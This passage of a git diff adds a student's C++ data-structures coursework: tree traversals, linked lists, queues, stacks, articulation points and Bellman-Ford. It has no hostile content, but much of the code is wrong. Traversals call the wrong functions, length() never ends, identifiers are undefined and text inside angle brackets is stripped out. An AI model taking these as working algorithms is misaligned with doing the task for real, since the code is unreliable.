while(!q.empty()) + { + node*f=q.front(); + cout<data<<" "; + q.pop(); + + //last node condition + if(f->left) + q.push(f->left); + if(f->right) + q.push(f->right); + } +} + +int no_nodes(node*root) +{ + if(root==NULL) + return 0; + return (no_nodes(root->left)+no_nodes(root->right)+1); +} + +int sum_nodes(node*root) +{ + if(root==NULL) + return 0; + return (sum_nodes(root->left)+sum_nodes(root->right)+1); +} + +int main() +{ + node*root=build_tree(); + print(root); + inorder(root); + cout<<"\n"; + postorder(root); + cout<<"\n"; + height(root); + cout<<"\n"; + + + return 0; +} \ No newline at end of file diff --git a/DSA/DSA-VIT/BSTs/traversals.cpp b/DSA/DSA-VIT/BSTs/traversals.cpp new file mode 100644 index 000000000..bfcbd81c5 --- /dev/null +++ b/DSA/DSA-VIT/BSTs/traversals.cpp @@ -0,0 +1,81 @@ +#include +using namespace std; + +class node{ +public: + int data; + node*right; + node*left; + + node(int d) + { + data=d; + node*right=NULL; + node*left=NULL; + } +}; + +node* build_tree() +{ + int d; + cin>>d; + if(d==-1) + return NULL; + node* root=new node(d); + root->right=build_tree(); + root->left=build_tree(); + return root; +} + +void print(node*root) +{ + if(root==NULL) + return; + cout<data<<" ->"; + print(root->right); + print(root->left); +} + +void preorder(node*root) +{ + if(root==NULL) + return; + + //follow root left right + cout<data<<" "; + preorder(root->left); + preorder(root->right); +} + +void inorder(node*root) +{ + if(root==NULL) + return; + + //follow left root right + preorder(root->left); + cout<data<<" "; + preorder(root->right); +} + +void postorder(node*root) +{ + if(root==NULL) + return; + + //follow left right root + preorder(root->left); + preorder(root->right); + cout<data<<" "; +} + +int main() +{ + node*root=build_tree(); + print(root); + inorder(root); + cout<<"\n"; + postorder(root); + + return 0; +} \ No newline at end of file diff --git a/DSA/DSA-VIT/BSTs/traversals.exe b/DSA/DSA-VIT/BSTs/traversals.exe new file mode 100644 index 000000000..11143ecbf Binary files /dev/null and b/DSA/DSA-VIT/BSTs/traversals.exe differ diff --git a/DSA/DSA-VIT/BSTs/tree_from_traversals.cpp b/DSA/DSA-VIT/BSTs/tree_from_traversals.cpp new file mode 100644 index 000000000..9b28105e7 --- /dev/null +++ b/DSA/DSA-VIT/BSTs/tree_from_traversals.cpp @@ -0,0 +1,188 @@ +#include +using namespace std; + +class node{ +public: + int data; + node*right; + node*left; + + node(int d) + { + data=d; + node*right=NULL; + node*left=NULL; + } +}; + +node* build_tree() +{ + int d; + cin>>d; + if(d==-1) + return NULL; + node* root=new node(d); + root->right=build_tree(); + root->left=build_tree(); + return root; +} + +void print(node*root) +{ + if(root==NULL) + return; + cout<data<<" ->"; + print(root->right); + print(root->left); +} + +void preorder(node*root) +{ + if(root==NULL) + return; + + //follow root left right + cout<data<<" "; + preorder(root->left); + preorder(root->right); +} + +void inorder(node*root) +{ + if(root==NULL) + return; + + //follow left root right + preorder(root->left); + cout<data<<" "; + preorder(root->right); +} + +void postorder(node*root) +{ + if(root==NULL) + return; + + //follow left right root + preorder(root->left); + preorder(root->right); + cout<data<<" "; +} + +int height(node*root) +{ + if(root==NULL) + return 0; + int left_size=height(root->left); + int right_size=height(root->right); + return max(left_size,right_size)+1; +} + +void levelorder(node*root,int k) +{ + if(root==NULL) + return; + if (k==1) + { + cout<data<<" "; + return; + } + levelorder(root->left,k-1); + levelorder(root->right,k-1); +} + +void bfs(node*root) +{ + queueq; + q.push(root->data); + while(!q.empty()) + { + node*f=q.front(); + cout<data<<" "; + q.pop(); + + //last node condition + if(f->left) + q.push(f->left); + if(f->right) + q.push(f->right); + } +} + +int no_nodes(node*root) +{ + if(root==NULL) + return 0; + return (no_nodes(root->left)+no_nodes(root->right)+1); +} + +int sum_nodes(node*root) +{ + if(root==NULL) + return 0; + return (sum_nodes(root->left)+sum_nodes(root->right)+1); +} + +int diameter(node*root) +{ + if(root==NULL) + return 0; + + int h1=height(root->left); + int h2=height(root->right); + int case1=h1+h2; + int case2=diameter(root->left); + int case3=diameter(root->right); + + return max(case1,max(case2,case3)); +} + +node* array_tree(int *arr,int start,int end) +{ + int mid=(start+end)/2; + if(start>end) + return NULL; + + //making mid element of an array as a root + node* root=new node(arr[mid]); + root->left=array_tree(arr,start,mid-1); + root->right=array_tree(arr,start,mid+1); + return root; +} + +//using preorder and inorder traversal +node* traversaltree(int *pre, int *in,int start,int end) +{ + int i=0,index=-1; + if(start>end) + return NULL; + node*root=new node(pre[i]); + + for(int j=start;jleft=traversaltree(pre,in,start,index-1); + root->right=traversaltree(pre,in,index+1,end); + return root; +} + +int main() +{ + node*root=build_tree(); + print(root); + inorder(root); + cout<<"\n"; + postorder(root); + cout<<"\n"; + height(root); + cout<<"\n"; + + + return 0; +} \ No newline at end of file diff --git a/DSA/DSA-VIT/Binary_Search_Trees.pdf b/DSA/DSA-VIT/Binary_Search_Trees.pdf new file mode 100644 index 000000000..b8ad552e8 Binary files /dev/null and b/DSA/DSA-VIT/Binary_Search_Trees.pdf differ diff --git a/DSA/DSA-VIT/CAT-1(2).pdf b/DSA/DSA-VIT/CAT-1(2).pdf new file mode 100644 index 000000000..be2112b2c Binary files /dev/null and b/DSA/DSA-VIT/CAT-1(2).pdf differ diff --git a/DSA/DSA-VIT/CSE2003-lecturenotes01.pdf b/DSA/DSA-VIT/CSE2003-lecturenotes01.pdf new file mode 100644 index 000000000..2d2fc0530 Binary files /dev/null and b/DSA/DSA-VIT/CSE2003-lecturenotes01.pdf differ diff --git a/DSA/DSA-VIT/CSE2003_lecturenotes5.pdf b/DSA/DSA-VIT/CSE2003_lecturenotes5.pdf new file mode 100644 index 000000000..eb16169b5 Binary files /dev/null and b/DSA/DSA-VIT/CSE2003_lecturenotes5.pdf differ diff --git a/DSA/DSA-VIT/DSA project.pdf b/DSA/DSA-VIT/DSA project.pdf new file mode 100644 index 000000000..943095eee Binary files /dev/null and b/DSA/DSA-VIT/DSA project.pdf differ diff --git a/DSA/DSA-VIT/FINAL500-DSA.xlsx b/DSA/DSA-VIT/FINAL500-DSA.xlsx new file mode 100644 index 000000000..056f0b538 Binary files /dev/null and b/DSA/DSA-VIT/FINAL500-DSA.xlsx differ diff --git a/DSA/DSA-VIT/Linked Lists/circular_list.cpp b/DSA/DSA-VIT/Linked Lists/circular_list.cpp new file mode 100644 index 000000000..d4f11f49a --- /dev/null +++ b/DSA/DSA-VIT/Linked Lists/circular_list.cpp @@ -0,0 +1,91 @@ +#include +using namespace std; + +//initialization +class node{ +public: + int data; + node*next; + node(int d) + { + d=data; + next=NULL; + } +}; + +void insert(node*&head,int data) +{ + //create a new node + node*n=new node(data); + node*temp=head; + n->next=head; + if(temp!=NULL) + { + while(temp->next!=head) + { + temp=temp->next; + } + temp->next=n; + } + + //applying self loop + else + n->next=n; + head=n; +} + +void print(node*&head) +{ + node*temp=head; + while(temp->next!=head) + { + cout<data<<" ->"; + temp=temp->next; + } +} + +node* search(node*head,int data) +{ + node*temp=head; + while(temp->next!=head) + { + if(temp->data==data) + return temp; + temp=temp->next; + } + //checking for last node + if(temp->data==data) + return temp; + return NULL; +} + +void deleteNode(node*&head,int data) +{ + node* del=search(head,data); + if(del==NULL) + return; + + if(head==del) + head=head->next; + + node*temp=head; + while(temp->next!=del) + { + temp=temp->next; + } + temp->next=del->next; + delete del; +} + +int main() +{ + node*head=NULL; + insert(head,10); + insert(head,20); + insert(head,30); + insert(head,40); + print(head); + deleteNode(head,20); + print(head); + return 0; +} \ No newline at end of file diff --git a/DSA/DSA-VIT/Linked Lists/circular_list.exe b/DSA/DSA-VIT/Linked Lists/circular_list.exe new file mode 100644 index 000000000..de35ae2a9 Binary files /dev/null and b/DSA/DSA-VIT/Linked Lists/circular_list.exe differ diff --git a/DSA/DSA-VIT/Linked Lists/deletion.cpp b/DSA/DSA-VIT/Linked Lists/deletion.cpp new file mode 100644 index 000000000..6ab791f8a --- /dev/null +++ b/DSA/DSA-VIT/Linked Lists/deletion.cpp @@ -0,0 +1,115 @@ +#include +using namespace std; + +//initially +class node{ + public: + int data; + node*next; + + node(int d) + { + data=d; + next=NULL; + } +}; + + +//passing by reference +void insertathead(node*&head,int d) +{ + if(head==NULL) + { + //create a new head + head=new node(d); + return; + } + //create a new node + node*n=new node(d); + n->next=head; + head=n; +} + +int length(node*head) +{ + int cnt=0; + while(head!=NULL) + cnt++; + return cnt; +} + +void insertattail(node*&head,int data) +{ + if(head==NULL) + { + head=new node(data); + return; + } + node*tail=head; + while(tail->next!=NULL) + { + tail=tail->next; + } + tail->next=new node(data); + return; +} + + +void insertatmiddle(node*&head,int data,int p) +{ + if(head==NULL || p==0) + { + insertathead(head,data); + } + else if(p>length(head)) + insertattail(head,data); + else{ + //take p-1 jumps + int jumps=1; + node*temp=head; + + while(jumps<=p-1) + { + temp=temp->next; + jumps++; + } + node*n=new node(data); + n->next=temp->next; + temp->next=n; + } +} + +void deleteathead(node*&head) +{ + if(head==NULL) + return; + + //making sure not to delete the connection to the next node + node*temp=head->next; + delete head; + temp=head; +} + +void print(node*head) +{ + while(head!=NULL) + { + cout<data<<" ->"; + head=head->next; + } +} + + +int main() { + node*head=NULL; + insertathead(head,4); + insertathead(head,1); + insertathead(head,0); + + insertatmiddle(head,3,2); + insertattail(head,2); + print(head); + deleteathead(head); + print(head); +} + diff --git a/DSA/DSA-VIT/Linked Lists/double_linked_list.cpp b/DSA/DSA-VIT/Linked Lists/double_linked_list.cpp new file mode 100644 index 000000000..737942488 --- /dev/null +++ b/DSA/DSA-VIT/Linked Lists/double_linked_list.cpp @@ -0,0 +1,29 @@ +#include +using namespace std; +int main() { + listl={1,2,3,4,5}; + + //inserting + l.push_front(6); + + for(auto x:l) + cout<"; + cout<<"\n"; + + //sorting + l.sort(); + for(auto x:l) + cout<"; + cout<<"\n"; + + //reversing + l.reverse(); + for(auto x:l) + cout<"; + cout<<"\n"; + + //deleting + l.pop_front(); + for(auto x:l) + cout<"; +} diff --git a/DSA/DSA-VIT/Linked Lists/double_linked_list.exe b/DSA/DSA-VIT/Linked Lists/double_linked_list.exe new file mode 100644 index 000000000..a0ddcd445 Binary files /dev/null and b/DSA/DSA-VIT/Linked Lists/double_linked_list.exe differ diff --git a/DSA/DSA-VIT/Linked Lists/insertion.cpp b/DSA/DSA-VIT/Linked Lists/insertion.cpp new file mode 100644 index 000000000..b8a42df71 --- /dev/null +++ b/DSA/DSA-VIT/Linked Lists/insertion.cpp @@ -0,0 +1,102 @@ +#include +using namespace std; + +//initially +class node{ + public: + int data; + node*next; + + node(int d) + { + data=d; + next=NULL; + } +}; + + +//passing by reference +void insertathead(node*&head,int d) +{ + if(head==NULL) + { + //create a new head + head=new node(d); + return; + } + //create a new node + node*n=new node(d); + n->next=head; + head=n; +} + +int length(node*head) +{ + int cnt=0; + while(head!=NULL) + cnt++; + return cnt; +} + +void insertattail(node*&head,int data) +{ + if(head==NULL) + { + head=new node(data); + return; + } + node*tail=head; + while(tail->next!=NULL) + { + tail=tail->next; + } + tail->next=new node(data); + return; +} + + +void insertatmiddle(node*&head,int data,int p) +{ + if(head==NULL || p==0) + { + insertathead(head,data); + } + else if(p>length(head)) + insertattail(head,data); + else{ + //take p-1 jumps + int jumps=1; + node*temp=head; + + while(jumps<=p-1) + { + temp=temp->next; + jumps++; + } + node*n=new node(data); + n->next=temp->next; + temp->next=n; + } +} + +void print(node*head) +{ + while(head!=NULL) + { + cout<data<<" ->"; + head=head->next; + } +} + + +int main() { + node*head=NULL; + insertathead(head,4); + insertathead(head,1); + insertathead(head,0); + + insertatmiddle(head,3,2); + insertattail(head,2); + print(head); +} + diff --git a/DSA/DSA-VIT/Linked Lists/insertion.exe b/DSA/DSA-VIT/Linked Lists/insertion.exe new file mode 100644 index 000000000..392fe41e8 Binary files /dev/null and b/DSA/DSA-VIT/Linked Lists/insertion.exe differ diff --git a/DSA/DSA-VIT/Linked Lists/kth_node_from_end.cpp b/DSA/DSA-VIT/Linked Lists/kth_node_from_end.cpp new file mode 100644 index 000000000..51b34356e --- /dev/null +++ b/DSA/DSA-VIT/Linked Lists/kth_node_from_end.cpp @@ -0,0 +1,168 @@ +//use runner method +//change the direction of pointers rather than swapping +//connect the node to previous node which is NULL +//store the address into the next node + +#include +using namespace std; + +//initially +class node{ + public: + int data; + node*next; + + node(int d) + { + data=d; + next=NULL; + } +}; + + +//passing by reference +void insertathead(node*&head,int d) +{ + if(head==NULL) + { + //create a new head + head=new node(d); + return; + } + //create a new node + node*n=new node(d); + n->next=head; + head=n; +} + +int length(node*head) +{ + int cnt=0; + while(head!=NULL) + cnt++; + return cnt; +} + +void insertattail(node*&head,int data) +{ + if(head==NULL) + { + head=new node(data); + return; + } + node*tail=head; + while(tail->next!=NULL) + { + tail=tail->next; + } + tail->next=new node(data); + return; +} + + +void insertatmiddle(node*&head,int data,int p) +{ + if(head==NULL || p==0) + { + insertathead(head,data); + } + else if(p>length(head)) + insertattail(head,data); + else{ + //take p-1 jumps + int jumps=1; + node*temp=head; + + while(jumps<=p-1) + { + temp=temp->next; + jumps++; + } + node*n=new node(data); + n->next=temp->next; + temp->next=n; + } +} + +void deleteathead(node*&head) +{ + if(head==NULL) + return; + + //making sure not to delete the connection to the next node + node*temp=head->next; + delete head; + temp=head; +} + +void print(node*head) +{ + while(head!=NULL) + { + cout<data<<" ->"; + head=head->next; + } +} + + +//here only linear search is possible because we can't access any element directly in linked list +bool search(node*&head,int key) +{ + node*temp=head; + while(temp!=NULL) + { + if(key==head->data) + return true; + temp=temp->next; + } + return false; +} + +void reverse(node*&head) +{ + node*current=head; + node*prev=NULL; + node*next_node; + while(current!=NULL) + { + //store the address in next node + next_node=current->next; + + //connect it to previous node + prev=current->next; + + //updating the nodes + prev=current; + current=next_node; + } + head=prev; +} + +node* k_end(node*&node,int k) +{ + node*first=head; + node*second=head; + int cnt=0; + while(cntnext; + cnt++; + } + +} + +int main() { + node*head=NULL; + insertathead(head,4); + insertathead(head,1); + insertathead(head,0); + + insertatmiddle(head,3,2); + insertattail(head,2); + print(head); + deleteathead(head); + print(head); + + search(head,key); +} + diff --git a/DSA/DSA-VIT/Linked Lists/middle_node.cpp b/DSA/DSA-VIT/Linked Lists/middle_node.cpp new file mode 100644 index 000000000..43d41cda0 --- /dev/null +++ b/DSA/DSA-VIT/Linked Lists/middle_node.cpp @@ -0,0 +1,176 @@ +//use runner method +//change the direction of pointers rather than swapping +//connect the node to previous node which is NULL +//store the address into the next node + +#include +using namespace std; + +//initially +class node{ + public: + int data; + node*next; + + node(int d) + { + data=d; + next=NULL; + } +}; + + +//passing by reference +void insertathead(node*&head,int d) +{ + if(head==NULL) + { + //create a new head + head=new node(d); + return; + } + //create a new node + node*n=new node(d); + n->next=head; + head=n; +} + +int length(node*head) +{ + int cnt=0; + while(head!=NULL) + cnt++; + return cnt; +} + +void insertattail(node*&head,int data) +{ + if(head==NULL) + { + head=new node(data); + return; + } + node*tail=head; + while(tail->next!=NULL) + { + tail=tail->next; + } + tail->next=new node(data); + return; +} + + +void insertatmiddle(node*&head,int data,int p) +{ + if(head==NULL || p==0) + { + insertathead(head,data); + } + else if(p>length(head)) + insertattail(head,data); + else{ + //take p-1 jumps + int jumps=1; + node*temp=head; + + while(jumps<=p-1) + { + temp=temp->next; + jumps++; + } + node*n=new node(data); + n->next=temp->next; + temp->next=n; + } +} + +void deleteathead(node*&head) +{ + if(head==NULL) + return; + + //making sure not to delete the connection to the next node + node*temp=head->next; + delete head; + temp=head; +} + +void print(node*head) +{ + while(head!=NULL) + { + cout<data<<" ->"; + head=head->next; + } +} + + +//here only linear search is possible because we can't access any element directly in linked list +bool search(node*&head,int key) +{ + node*temp=head; + while(temp!=NULL) + { + if(key==head->data) + return true; + temp=temp->next; + } + return false; +} + +void reverse(node*&head) +{ + node*current=head; + node*prev=NULL; + node*next_node; + while(current!=NULL) + { + //store the address in next node + next_node=current->next; + + //connect it to previous node + prev=current->next; + + //updating the nodes + prev=current; + current=next_node; + } + head=prev; +} + +node* middle_node(node*&head) +{ + if(head==NULL) + return NULL; + + //define 2 pointers + node*fast=head->next; + node*slow=head; + while(fast->next!=NULL) + { + //jumps 2 at a time + fast=fast->next->next + + //jumps 1 at a time + slow=slow->next; + } + return slow; +} + + + +int main() { + node*head=NULL; + insertathead(head,4); + insertathead(head,1); + insertathead(head,0); + + insertatmiddle(head,3,2); + insertattail(head,2); + print(head); + deleteathead(head); + print(head); + + search(head,key); +} + diff --git a/DSA/DSA-VIT/Linked Lists/queue.cpp b/DSA/DSA-VIT/Linked Lists/queue.cpp new file mode 100644 index 000000000..5d2c4722f --- /dev/null +++ b/DSA/DSA-VIT/Linked Lists/queue.cpp @@ -0,0 +1,53 @@ +#include +using namespace std; + +class Queue{ +public: + int n; + listl; + + Queue() + { + n=0; + } + + bool isEmpty() + { + return n==0; + } + + void push(int data) + { + l.push_back(data); + n++; + } + + void pop() + { + if(!isEmpty()) + { + n--; + l.pop_front(); + } + } + + int front() + { + return l.front(); + } +}; + +int main() +{ + Queue q; + + for(int i=0;i<6;i++) + q.push(i); + + while(!q.isEmpty()) + { + cout< +using namespace std; + +//initially +class node{ + public: + int data; + node*next; + + node(int d) + { + data=d; + next=NULL; + } +}; + + +//passing by reference +void insertathead(node*&head,int d) +{ + if(head==NULL) + { + //create a new head + head=new node(d); + return; + } + //create a new node + node*n=new node(d); + n->next=head; + head=n; +} + +int length(node*head) +{ + int cnt=0; + while(head!=NULL) + cnt++; + return cnt; +} + +void insertattail(node*&head,int data) +{ + if(head==NULL) + { + head=new node(data); + return; + } + node*tail=head; + while(tail->next!=NULL) + { + tail=tail->next; + } + tail->next=new node(data); + return; +} + + +void insertatmiddle(node*&head,int data,int p) +{ + if(head==NULL || p==0) + { + insertathead(head,data); + } + else if(p>length(head)) + insertattail(head,data); + else{ + //take p-1 jumps + int jumps=1; + node*temp=head; + + while(jumps<=p-1) + { + temp=temp->next; + jumps++; + } + node*n=new node(data); + n->next=temp->next; + temp->next=n; + } +} + +void deleteathead(node*&head) +{ + if(head==NULL) + return; + + //making sure not to delete the connection to the next node + node*temp=head->next; + delete head; + temp=head; +} + +void print(node*head) +{ + while(head!=NULL) + { + cout<data<<" ->"; + head=head->next; + } +} + + +//here only linear search is possible because we can't access any element directly in linked list +bool search(node*&head,int key) +{ + node*temp=head; + while(temp!=NULL) + { + if(key==head->data) + return true; + temp=temp->next; + } + return false; +} + +void reverse(node*&head) +{ + node*current=head; + node*prev=NULL; + node*next_node; + while(current!=NULL) + { + //store the address in next node + next_node=current->next; + + //connect it to previous node + prev=current->next; + + //updating the nodes + prev=current; + current=next_node; + } + head=prev; +} + +int main() { + node*head=NULL; + insertathead(head,4); + insertathead(head,1); + insertathead(head,0); + + insertatmiddle(head,3,2); + insertattail(head,2); + print(head); + deleteathead(head); + print(head); + + search(head,key); +} + diff --git a/DSA/DSA-VIT/Linked Lists/searching.cpp b/DSA/DSA-VIT/Linked Lists/searching.cpp new file mode 100644 index 000000000..804193353 --- /dev/null +++ b/DSA/DSA-VIT/Linked Lists/searching.cpp @@ -0,0 +1,130 @@ +#include +using namespace std; + +//initially +class node{ + public: + int data; + node*next; + + node(int d) + { + data=d; + next=NULL; + } +}; + + +//passing by reference +void insertathead(node*&head,int d) +{ + if(head==NULL) + { + //create a new head + head=new node(d); + return; + } + //create a new node + node*n=new node(d); + n->next=head; + head=n; +} + +int length(node*head) +{ + int cnt=0; + while(head!=NULL) + cnt++; + return cnt; +} + +void insertattail(node*&head,int data) +{ + if(head==NULL) + { + head=new node(data); + return; + } + node*tail=head; + while(tail->next!=NULL) + { + tail=tail->next; + } + tail->next=new node(data); + return; +} + + +void insertatmiddle(node*&head,int data,int p) +{ + if(head==NULL || p==0) + { + insertathead(head,data); + } + else if(p>length(head)) + insertattail(head,data); + else{ + //take p-1 jumps + int jumps=1; + node*temp=head; + + while(jumps<=p-1) + { + temp=temp->next; + jumps++; + } + node*n=new node(data); + n->next=temp->next; + temp->next=n; + } +} + +void deleteathead(node*&head) +{ + if(head==NULL) + return; + + //making sure not to delete the connection to the next node + node*temp=head->next; + delete head; + temp=head; +} + +void print(node*head) +{ + while(head!=NULL) + { + cout<data<<" ->"; + head=head->next; + } +} + + +//here only linear search is possible because we can't access any element directly in linked list +bool search(node*&head,int key) +{ + node*temp=head; + while(temp!=NULL) + { + if(key==head->data) + return true; + temp=temp->next; + } + return false; +} + +int main() { + node*head=NULL; + insertathead(head,4); + insertathead(head,1); + insertathead(head,0); + + insertatmiddle(head,3,2); + insertattail(head,2); + print(head); + deleteathead(head); + print(head); + + search(head,key); +} + diff --git a/DSA/DSA-VIT/Linked Lists/sorting.cpp b/DSA/DSA-VIT/Linked Lists/sorting.cpp new file mode 100644 index 000000000..a1ebce28c --- /dev/null +++ b/DSA/DSA-VIT/Linked Lists/sorting.cpp @@ -0,0 +1,197 @@ +//use runner method +//change the direction of pointers rather than swapping +//connect the node to previous node which is NULL +//store the address into the next node + +#include +using namespace std; + +//initially +class node{ + public: + int data; + node*next; + + node(int d) + { + data=d; + next=NULL; + } +}; + + +//passing by reference +void insertathead(node*&head,int d) +{ + if(head==NULL) + { + //create a new head + head=new node(d); + return; + } + //create a new node + node*n=new node(d); + n->next=head; + head=n; +} + +int length(node*head) +{ + int cnt=0; + while(head!=NULL) + cnt++; + return cnt; +} + +void insertattail(node*&head,int data) +{ + if(head==NULL) + { + head=new node(data); + return; + } + node*tail=head; + while(tail->next!=NULL) + { + tail=tail->next; + } + tail->next=new node(data); + return; +} + + +void insertatmiddle(node*&head,int data,int p) +{ + if(head==NULL || p==0) + { + insertathead(head,data); + } + else if(p>length(head)) + insertattail(head,data); + else{ + //take p-1 jumps + int jumps=1; + node*temp=head; + + while(jumps<=p-1) + { + temp=temp->next; + jumps++; + } + node*n=new node(data); + n->next=temp->next; + temp->next=n; + } +} + +void deleteathead(node*&head) +{ + if(head==NULL) + return; + + //making sure not to delete the connection to the next node + node*temp=head->next; + delete head; + temp=head; +} + +void print(node*head) +{ + while(head!=NULL) + { + cout<data<<" ->"; + head=head->next; + } +} + + +//here only linear search is possible because we can't access any element directly in linked list +bool search(node*&head,int key) +{ + node*temp=head; + while(temp!=NULL) + { + if(key==head->data) + return true; + temp=temp->next; + } + return false; +} + +void reverse(node*&head) +{ + node*current=head; + node*prev=NULL; + node*next_node; + while(current!=NULL) + { + //store the address in next node + next_node=current->next; + + //connect it to previous node + prev=current->next; + + //updating the nodes + prev=current; + current=next_node; + } + head=prev; +} + +node* middle_node(node*head) +{ + if(head==NULL) + return NULL; + + //define 2 pointers + node*fast=head->next; + node*slow=head; + while(fast->next!=NULL) + { + //jumps 2 at a time + fast=fast->next->next + + //jumps 1 at a time + slow=slow->next; + } + return slow; +} + +node* sort_list(node*head) +{ + if(head==NULL) + return NULL; + + //break about the middle node + node*mid=middle_node(head); + + //form 2 separate lists + node*a=head->next; + node*b=mid->next; + mid->next=NULL; + + //use rescursion to sort + a=sort_list(a); + b=sort_list(b); + + //merge them + node*c=merge(a,b); + return c; +} + + +int main() { + node*head=NULL; + insertathead(head,4); + insertathead(head,1); + insertathead(head,0); + + insertatmiddle(head,3,2); + insertattail(head,2); + print(head); + deleteathead(head); + print(head); + + search(head,key); +} + diff --git a/DSA/DSA-VIT/LinkedListCircular.ppt b/DSA/DSA-VIT/LinkedListCircular.ppt new file mode 100644 index 000000000..fb553145a Binary files /dev/null and b/DSA/DSA-VIT/LinkedListCircular.ppt differ diff --git a/DSA/DSA-VIT/Master_s_Theorem.pdf b/DSA/DSA-VIT/Master_s_Theorem.pdf new file mode 100644 index 000000000..73b77bee7 Binary files /dev/null and b/DSA/DSA-VIT/Master_s_Theorem.pdf differ diff --git a/DSA/DSA-VIT/Queues/Max_length_substring.cpp b/DSA/DSA-VIT/Queues/Max_length_substring.cpp new file mode 100644 index 000000000..cbf84247f --- /dev/null +++ b/DSA/DSA-VIT/Queues/Max_length_substring.cpp @@ -0,0 +1,39 @@ +#include +using namespace std; +int main() { + char arr[]="abcdafrtghh"; + int n=strlen(arr); + int curr_len=0; + int max_len=0; + + //sliding window + int visited[1000]; + + for(int i=0;ilast) + curr_len++; + + //expansion and contraction + else + { + if(curr_len +using namespace std; +int main() { + queueq; + + for(int i=0;i<=5;i++) + q.push(i); + + while(!q.empty()) + { + cout< +using namespace std; +class queue{ + private: + int *a; + int front,rear,cs,ms; + public: + queue(int ds=5)//ds is the default size the user will give + { + // int a[ds]; u can't declare like this + a=new int[ds]; //using DMA + cs=0; + ms=ds; + front=0; + rear=ms-1; + } + bool full() + { + if(ms==cs) + { + return true; + } + return false; + } + void push(int d) + { + if(!full()) + rear=(rear+1)%ms; //for circular queue + a[rear]=d; + cs++; + + } + bool empty() + { + if(cs==0) + { + return true; + } + return false; + } + void pop() + { + if(!empty()) + { + front=(front+1)%ms; + cs--; + } + } + int f() + { + return a[front]; + } + ~queue() + { + if(a!=NULL) + { + delete [] a; + a=NULL; + } + } + +}; +int main() +{ + queue q; + int n; + cin>>n; + for(int i=0;i<5;i++) + { + q.push(i); + } + while(!q.empty()) + { + cout< +using namespace std; + +class Queue{ + private: + stacks1,s2; + + public: + void push(int data) + { + s1.push(data); + } + void pop() + { + // pop n-1 elements from s1 to s2 and pop last element from s1 to queue and then interchange s1,s2 + while(s1.size()>1) + { + int element=s1.top(); + s2.push(element); + s1.pop(); + } + //popping last element + s1.pop(); + swap(s1,s2); + } + int front() + { + while(s1.size()>1) + { + int element=s1.top(); + s2.push(element); + s1.pop(); + } + int element=s1.top(); + s1.pop(); + s2.push(element); + return element; + } + int size() + { + return (s1.size()+s2.size()); + } + bool empty() + { + return size()==0; + } +}; + +int main() { + queueq; + + for(int i=0;i<=3;i++) + q.push(i); + + while(!q.empty()) + { + cout< +using namespace std; + +bool check(char *ch) +{ + stacks; + for(int i=0;ch[i]!='\0';i++) + { + if(ch[i]=='(') + s.push(ch[i]); + else if(ch[i]==')') + { + if(s.empty() || s.top()==')') + return false; + } + s.pop(); + } + return true; +} + +int main() { + char ch[10000]="(())"; + if(check(ch)) + cout<<"imbalanced parenthesis"; + else + cout<<"balanced parenthesis"; +} + diff --git a/DSA/DSA-VIT/Stacks/balanced_parenthesis.exe b/DSA/DSA-VIT/Stacks/balanced_parenthesis.exe new file mode 100644 index 000000000..d41cb74fc Binary files /dev/null and b/DSA/DSA-VIT/Stacks/balanced_parenthesis.exe differ diff --git a/DSA/DSA-VIT/Stacks/reverse_stack.cpp b/DSA/DSA-VIT/Stacks/reverse_stack.cpp new file mode 100644 index 000000000..0edc94b21 --- /dev/null +++ b/DSA/DSA-VIT/Stacks/reverse_stack.cpp @@ -0,0 +1,58 @@ +#include +using namespace std; + +void transfer(stack&s1,stack&s2,int n) +{ + //int n=s1.size(); + for(int i=0;i&s1) +{ + stacks2; + int n=s1.size(); + for(int i=0;is1; + //int n=s1.size(); + + for(int i=0;i<5;i++) + s1.push(i); + +// cout<<"original stack:"; +// cout<<"\n"; +// while(!s1.empty()) +// { +// cout< +using namespace std; +int main() { + stacks; + + for(int i=1;i<=4;i++) + s.push(i); + + while(!s.empty()) + { + cout< +using namespace std; + +class Stack{ + private: + queueq1,q2; + + public: + void push(int data) + { + q1.push(data); + } + void pop() + { + // pop n-1 elements from q1 to q2 and pop last element from q1 to stack and then interchange q1,q2 + while(q1.size()>1) + { + int element=q1.front(); + q2.push(element); + q1.pop(); + } + //popping last element + q1.pop(); + swap(q1,q2); + } + int top() + { + while(q1.size()>1) + { + int element=q1.front(); + q2.push(element); + q1.pop(); + } + int element=q1.front(); + q1.pop(); + q2.push(element); + return element; + } + int size() + { + return (q1.size()+q2.size()); + } + bool empty() + { + return size()==0; + } +}; + +int main() { + stacks; + + for(int i=0;i<=3;i++) + s.push(i); + + while(!s.empty()) + { + cout< +using namespace std; + +class Stack{ + private: + vectorv; + public: + void push(int data) + { + v.push_back(data); + } + void pop() + { + if(!empty()) + v.pop_back(); + } + int top() + { + return v[v.size()-1]; + } + bool empty() + { + return (v.size()==0); + } +}; + +int main() { + Stack s; + + //pushing elements into stack + for(int i=0;i<=5;i++) + { + s.push(i*i); + } + + //popping elements from stack + while(!s.empty()) + { + cout< +using namespace std; + +vector ids(1000, 0); +vector low_link(1000, 0); +vector visited(1000, false); +vector isArtPoint(1000, false); +int id = 0; // to store the unique ids of every node +int outEdge = 0; // to ensure the node has more than 1 outgoing edge + +void dfs(vector> adj, int root, int at, int parent, vector isArtPoint) +{ + + if (parent == root) + outEdge++; + visited[at] = true; + id++; + ids[at] = low_link[at] = id; + + for (auto to : adj[at]) + { + // since it is an undirected graph, it will certainly happen + if (to == parent) + continue; + + if (!visited[to]) + { + dfs(adj, root, to, at, isArtPoint); + + // this sets the low link values in just one pass + low_link[at] = min(low_link[at], low_link[to]); + + // Articulation point found via bridge + if (ids[at] < low_link[to]) + isArtPoint[at] = true; + + // Articulation point found via cycle + if (ids[at] == low_link[to]) + isArtPoint[at] = true; + } + else // if we visit a node previouly visited, we ensures that we have the least value of lowlink to it + low_link[at] = min(low_link[at], low_link[to]); + } +} + +vector findArtPoint(vector> adj, int numNodes) +{ + for (int i = 0; i < numNodes; i++) + { + if (!visited[i]) + { + outEdge = 0; + dfs(adj, i, i, -1, isArtPoint); + isArtPoint[i] = outEdge > 1; + } + } + + return isArtPoint; +} diff --git a/DSA/Graphs/bellman_ford.cpp b/DSA/Graphs/bellman_ford.cpp new file mode 100644 index 000000000..79b1dfced --- /dev/null +++ b/DSA/Graphs/bellman_ford.cpp @@ -0,0 +1,72 @@ +/** Bellman ford is slower than dijkstra as it has runtime of O((e+v)logv) + * but it is helpful in detecting a negative cycle, and the nodes which are reachable + * from the negative cycle **/ + +#include +#define pd pair + +using namespace std; + +vector bellmanFord(vector> adj, int start, int vertices) +{ + + vector dist(vertices, 